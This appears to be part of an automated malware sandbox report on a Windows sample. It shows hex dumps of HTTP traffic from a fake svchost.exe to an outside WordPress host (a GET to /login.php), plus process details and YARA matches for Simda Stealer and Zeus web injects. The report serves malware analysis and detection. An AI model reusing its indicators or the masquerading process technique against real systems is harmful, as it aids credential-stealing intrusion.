                                                                                                                                                                                                          2024-11-11 17:14:55 UTC1369INData Raw: 73 69 62 6c 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74
                                                                                                                                                                                                          Data Ascii: sible,.woocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[t


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          15192.168.2.664582188.114.96.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:15:01 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC1090INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:15:04 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          server-timing: amp_sanitizer;dur="98.7",amp_style_sanitizer;dur="39.3",amp_tag_and_attribute_sanitizer;dur="53.1",amp_optimizer;dur="43.4"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IgXC5%2FgmcNKoz3cZ%2Fxruf1nNNG0vczf2IMFmqMdUrBuwMsf0ojHasIJTLGDCbfzyHH%2BVCSuthV9BI9eaXthLmOnsyu3TYPd3n%2BjLzk7UTwu2IQFjlsrNtPO8WDFSoQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fec04eba94401-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1798&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=881&delivery_rate=1597352&cwnd=251&unsent_bytes=0&cid=5258a3b7d38dbd6c&ts=3137&x=0"
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC279INData Raw: 37 63 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                          Data Ascii: 7c1c<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC1369INData Raw: 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31
                                                                                                                                                                                                          Data Ascii: rset="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:1
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC1369INData Raw: 6c 69 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b
                                                                                                                                                                                                          Data Ascii: ling:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC1369INData Raw: 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74
                                                                                                                                                                                                          Data Ascii: 100%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-of-t
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC1369INData Raw: 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73
                                                                                                                                                                                                          Data Ascii: html-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;pos
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC1369INData Raw: 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a
                                                                                                                                                                                                          Data Ascii: ay:none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;top:
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC1369INData Raw: 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68
                                                                                                                                                                                                          Data Ascii: :not(.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-amph
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC1369INData Raw: 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64 21 69 6d
                                                                                                                                                                                                          Data Ascii: om:0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:red!im
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC1369INData Raw: 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 61 6d 70 2d 73 74 6f 72 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 3e 61 6d 70 2d 61 6e 61 6c 79 74 69 63 73 7b 70 6f 73 69 74 69 6f 6e 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 5b 76 69 73 69 62 6c 65 2d 77 68 65 6e 2d 69 6e 76 61 6c 69 64 5d 3a 6e 6f 74 28 2e 76 69 73 69 62 6c 65 29 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 61 63 63 6f 72 64 69 6f
                                                                                                                                                                                                          Data Ascii: hidden!important;visibility:hidden}amp-story{visibility:hidden!important}html.i-amphtml-fie>amp-analytics{position:initial!important}[visible-when-invalid]:not(.visible),form [submit-error],form [submit-success],form [submitting]{display:none}amp-accordio
                                                                                                                                                                                                          2024-11-11 17:15:04 UTC1369INData Raw: 74 61 6e 64 61 72 64 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 6c 79 73 79 76 61 6e 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 32 2f 63 72 6f 70 70 65 64 2d 53 75 6b 73 65 73 2d 46 61 76 69 63 6f 6e 2d 32 37 30 78 32 37 30 2e 70 6e 67 22 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 3d 22 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 76 30 2e 6d 6a 73 22 20 74 79 70 65 3d 22 6d 6f 64 75 6c 65 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63
                                                                                                                                                                                                          Data Ascii: tandard"><meta name="msapplication-TileImage" content="https://lysyvan.com/wp-content/uploads/2023/12/cropped-Sukses-Favicon-270x270.png"><script async="" src="https://cdn.ampproject.org/v0.mjs" type="module" crossorigin="anonymous"></script><script async


                                                                                                                                                                                                          Statistics

                                                                                                                                                                                                          CPU Usage

                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                          Memory Usage

                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                          High Level Behavior Distribution

                                                                                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                                                                                          Behavior

                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                          System Behavior

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:0
                                                                                                                                                                                                          Start time:12:12:56
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Users\user\Desktop\Bpfz752pYZ.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Users\user\Desktop\Bpfz752pYZ.exe"
                                                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                                                          File size:1'179'648 bytes
                                                                                                                                                                                                          MD5 hash:A1699B125470C94380386D6C0CF106B3
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000000.00000003.2123232589.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000000.00000003.2123232589.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:low
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:2
                                                                                                                                                                                                          Start time:12:12:57
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Windows\apppatch\svchost.exe"
                                                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                                                          File size:1'179'648 bytes
                                                                                                                                                                                                          MD5 hash:AA278E2717BFC5593B570B9CC3D1270A
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2644113860.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2710293683.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2651597551.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2640221225.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2551297845.000000000ED00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2491630816.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2681109856.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000002.00000003.2136779480.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2136779480.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2688837088.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2681703821.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2682799870.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2646845259.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2693850041.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2694477664.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2610885248.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2667661376.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2711656555.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2689917423.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2689093667.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2642349690.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3391913803.0000000002CD1000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2617323227.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2674089655.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2584410332.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2139570153.0000000002A50000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
